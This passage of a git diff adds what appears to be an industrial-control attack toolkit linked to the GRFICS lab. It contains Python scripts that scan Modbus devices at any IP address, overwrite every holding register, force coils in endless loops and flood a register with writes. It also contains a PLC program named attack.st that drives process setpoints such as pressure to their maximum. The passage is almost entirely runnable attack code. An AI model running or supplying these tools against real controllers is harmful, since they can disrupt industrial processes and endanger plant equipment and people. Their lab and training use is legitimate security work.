BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + 